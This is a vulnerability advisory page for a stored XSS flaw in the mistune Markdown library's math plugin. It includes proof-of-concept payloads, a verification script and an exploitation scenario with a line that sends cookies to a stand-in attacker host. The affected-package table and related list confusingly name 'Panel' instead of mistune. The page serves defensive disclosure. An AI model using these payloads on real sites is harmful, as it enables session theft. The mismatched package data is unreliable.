CVE-2026-44708: mistune: math plugin XSS bypasses escape=True control
GHSA-8g87-j6q8-g93x MEDIUM CISA: TRACK*The mistune Markdown library's math plugin contains a stored XSS vulnerability that silently bypasses the explicit `escape=True` security control: any HTML or JavaScript embedded within `$...$` or `$$...$$` math delimiters is passed to the browser unescaped, regardless of configuration. With 463 downstream dependents spanning AI documentation tools, Jupyter-adjacent environments, and ML web UIs, this affects a broad surface area of applications whose developers likely believe they are protected. The deception risk is the real danger here — teams that have audited their code and confirmed `escape=True` retain false confidence, making this easy to miss in code review and security audits. No patch is currently available for mistune ≤3.2.0; immediate workarounds include adding server-side HTML sanitization (e.g., Python nh3 or bleach) as a compensating control, or disabling the math plugin until a fix is released.
What is the risk?
Medium CVSS (6.1) understates the practical risk: this is not a missing control but a bypass of an explicitly enabled one, meaning developer assumptions and prior security audits are actively misleading. Exploitation requires no privileges and only passive user interaction (page view), with cross-site scripted scope. AI/ML web applications that render user-supplied or third-party Markdown with math notation — including RAG output renderers, LLM chat UIs, and research portals — face realistic session hijacking and credential theft scenarios. The 26/100 package risk score and 5.2/10 OpenSSF scorecard reflect moderate maintenance health. Blast radius per CVSS is browser-scoped, but in authenticated enterprise ML portals the downstream consequence can include full account takeover and access to proprietary model configurations.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Panel | pip | <= 3.2.0 | No patch |
Do you use Panel? You're affected.
How severe is it?
What is the attack surface?
What should I do?
6 steps-
Immediate audit: identify all applications using mistune with plugins=['math'] or equivalent configuration.
-
Add server-side post-render sanitization using Python nh3 or bleach with a strict allowlist as a defense-in-depth layer independent of mistune's escape flag.
-
Disable the math plugin entirely if mathematical rendering is not required.
-
Enforce strict Content Security Policy headers (script-src 'self', default-src 'self') to contain browser-scope impact.
-
Monitor the mistune GitHub repository for a patched release > 3.2.0 and schedule immediate upgrade when available.
-
Scan application input logs for math delimiter patterns containing HTML tags as an indicator of active exploitation attempts.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-44708?
The mistune Markdown library's math plugin contains a stored XSS vulnerability that silently bypasses the explicit `escape=True` security control: any HTML or JavaScript embedded within `$...$` or `$$...$$` math delimiters is passed to the browser unescaped, regardless of configuration. With 463 downstream dependents spanning AI documentation tools, Jupyter-adjacent environments, and ML web UIs, this affects a broad surface area of applications whose developers likely believe they are protected. The deception risk is the real danger here — teams that have audited their code and confirmed `escape=True` retain false confidence, making this easy to miss in code review and security audits. No patch is currently available for mistune ≤3.2.0; immediate workarounds include adding server-side HTML sanitization (e.g., Python nh3 or bleach) as a compensating control, or disabling the math plugin until a fix is released.
Is CVE-2026-44708 actively exploited?
No confirmed active exploitation of CVE-2026-44708 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-44708?
1. Immediate audit: identify all applications using mistune with plugins=['math'] or equivalent configuration. 2. Add server-side post-render sanitization using Python nh3 or bleach with a strict allowlist as a defense-in-depth layer independent of mistune's escape flag. 3. Disable the math plugin entirely if mathematical rendering is not required. 4. Enforce strict Content Security Policy headers (script-src 'self', default-src 'self') to contain browser-scope impact. 5. Monitor the mistune GitHub repository for a patched release > 3.2.0 and schedule immediate upgrade when available. 6. Scan application input logs for math delimiter patterns containing HTML tags as an indicator of active exploitation attempts.
What systems are affected by CVE-2026-44708?
This vulnerability affects the following AI/ML architecture patterns: ML UI applications, Jupyter notebook environments, RAG pipelines with web rendering, LLM chat interfaces, AI documentation platforms.
What is the CVSS score for CVE-2026-44708?
CVE-2026-44708 has a CVSS v3.1 base score of 6.1 (MEDIUM). The EPSS exploitation probability is 0.20%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0011 User Execution AML.T0025 Exfiltration via Cyber Means AML.T0049 Exploit Public-Facing Application AML.T0107 Exploitation for Defense Evasion Compliance Controls Affected
What are the technical details?
Original Advisory
## Summary The mistune math plugin renders inline math (`$...$`) and block math (`$$...$$`) by concatenating the raw user-supplied content directly into the HTML output **without any HTML escaping**. This occurs even when the parser is explicitly created with `escape=True`, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM. The result is a silent contract violation: a developer who enables `escape=True` reasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer's `_escape` flag entirely. ## Details **File:** `src/mistune/plugins/math.py` ```python def render_inline_math(renderer, text): # `text` is raw user input — no escape() call anywhere return r'<span class="math">\(' + text + r"\)</span>" def render_block_math(renderer, text): # same issue for block-level $$...$$ return '<div class="math">$$\n' + text + "\n$$</div>\n" ``` Both functions take `text` directly from the parsed token and concatenate it into the output string. Neither function: - calls `escape(text)` from `mistune.util` - checks `renderer._escape` - calls `safe_entity(text)` or any other sanitisation helper The `escape=True` flag only influences the main `HTMLRenderer` methods (`paragraph`, `heading`, `codespan`, etc.). Plugin render functions registered via `md.renderer.register()` receive the `renderer` instance but have no mechanism that enforces the escape contract - they must opt in manually, and `math.py` does not. ## PoC **Step 1 — Establish the baseline (escape=True works for plain HTML)** The script creates a markdown parser with `escape=True` and the math plugin enabled, then feeds it a raw `<script>` tag that is *not* inside math delimiters: ```python md = create_markdown(escape=True, plugins=["math"]) bl_src = "<script>alert(document.cookie)</script>\n" bl_out = str(md(bl_src)) ``` Expected and actual output — the script tag is correctly escaped: ```html <p><script>alert(document.cookie)</script></p> ``` This confirms `escape=True` is working for the normal render path. **Step 2 — Craft the exploit payload** Wrap the identical `<script>` payload inside inline math delimiters `$...$`. The content is token-extracted as `text` and handed to `render_inline_math()`: ```python ex_src = "$<script>alert(document.cookie)</script>$\n" ex_out = str(md(ex_src)) ``` **Step 3 — Observe the bypass** Actual output — the script tag is emitted raw, unescaped: ```html <p><span class="math">\(<script>alert(document.cookie)</script>\)</span></p> ``` The `<script>` block is live inside the `<span class="math">` wrapper. Any browser that renders this HTML will execute `alert(document.cookie)`. **Step 4 — Block math variant (`$$...$$`)** The same bypass applies to block-level math. Payload: ``` $$ <img src=x onerror="alert(document.cookie)"> $$ ``` Output: ```html <div class="math">$$ <img src=x onerror="alert(document.cookie)"> $$</div> ``` The `onerror` handler fires as soon as the browser tries to load the non-existent image `x`. ### Script A verification script was written to test this issue. It creates a HTML page showing the bypass rendering in the browser. ```python #!/usr/bin/env python3 """H1: Math plugin bypasses escape=True — HTML inside $...$ passes through raw.""" import os, html as h from mistune import create_markdown md = create_markdown(escape=True, plugins=["math"]) # --- baseline --- bl_file = "baseline_h1.md" bl_src = "<script>alert(document.cookie)</script>\n" with open(os.path.join(os.getcwd(), bl_file), "w") as f: f.write(bl_src) bl_out = str(md(bl_src)) print(f"[{bl_file}]\n{bl_src}") print("[output — escape=True works normally here]") print(bl_out) # --- exploit --- ex_file = "exploit_h1.md" ex_src = "$<script>alert(document.cookie)</script>$\n" with open(os.path.join(os.getcwd(), ex_file), "w") as f: f.write(ex_src) ex_out = str(md(ex_src)) print(f"[{ex_file}]\n{ex_src}") print("[output — escape=True bypassed inside math delimiters]") print(ex_out) # --- HTML report --- CSS = """ body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px} h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px} p.desc{color:#555;font-size:.9em;margin-top:6px} .case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)} .case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em} .baseline .case-header{background:#d1fae5;color:#065f46} .exploit .case-header{background:#fee2e2;color:#7f1d1d} .panels{display:grid;grid-template-columns:1fr 1fr;background:#fff} .panel{padding:16px} .panel+.panel{border-left:1px solid #eee} .panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em} pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all} .rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace} .rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em} """ def case(kind, label, filename, src, out): return f""" <div class="case {kind}"> <div class="case-header">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div> <div class="panels"> <div class="panel"> <h3>Input — {h.escape(filename)}</h3> <pre>{h.escape(src)}</pre> </div> <div class="panel"> <h3>Output — HTML source</h3> <pre>{h.escape(out)}</pre> <div class="rlabel">↓ rendered in browser</div> <div class="rendered">{out}</div> </div> </div> </div>""" page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"> <title>H1 — Math XSS</title><style>{CSS}</style></head><body> <h1>H1 — Math Plugin XSS (escape=True bypass)</h1> <p class="desc">render_inline_math() in plugins/math.py concatenates user content without escape(). The escape=True renderer flag is completely ignored inside $...$ delimiters.</p> {case("baseline", "Same HTML outside $...$ — escape=True works", bl_file, bl_src, bl_out)} {case("exploit", "Same HTML inside $...$ — escape=True bypassed", ex_file, ex_src, ex_out)} </body></html>""" out_path = os.path.join(os.getcwd(), "report_h1.html") with open(out_path, "w") as f: f.write(page) print(f"\n[report] {out_path}") ``` Example usage: ```bash python poc.py ``` Once the script is run, open `report_h1.html` in the browser and observe the behaviour. ## Impact | Dimension | Assessment | |------------------|-----------| | **Confidentiality** | Attacker can exfiltrate session cookies, auth tokens, and any data visible to the victim's browser session | | **Integrity** | Attacker can mutate page content, inject phishing forms, redirect the user, or perform authenticated actions | | **Availability** | Attacker can crash or freeze the page (denial-of-service to the user) | **Risk amplifier:** This is a *bypass* of an explicit security control. Developers who have audited their application and confirmed `escape=True` is set believe they have XSS protection. This vulnerability silently invalidates that assumption for every math-enabled parser instance, making it likely to be missed in code reviews and security audits.
Exploitation Scenario
An attacker targeting an AI research portal or ML documentation platform powered by mistune submits a document — a model card, CVE summary, or research note — containing `$<script>fetch('https://attacker.com/c?'+document.cookie)</script>$`. When an authenticated CISO, ML engineer, or admin views the rendered page, the browser executes the script and the attacker receives the victim's session cookie. In a RAG pipeline context, an adversary could poison a retrieved external document with this payload, causing the rendering layer to exfiltrate context from every user who views the generated AI response — silently, without triggering any server-side alert.
Weaknesses (CWE)
CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
- [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N References
Timeline
Related Vulnerabilities
CVE-2024-13152 10.0 Mobuy Panel: SQLi allows unauthenticated DB takeover
Same package: panel CVE-2026-47744 9.9 Shopper: RBAC bypass allows full admin takeover
Same package: panel CVE-2024-13147 9.8 B2B Login Panel: SQLi enables unauthenticated DB access
Same package: panel CVE-2024-5960 9.8 Panel: plaintext credential storage enables domain compromise
Same package: panel CVE-2025-14014 9.8 Smart Panel: unauthenticated file upload enables RCE
Same package: panel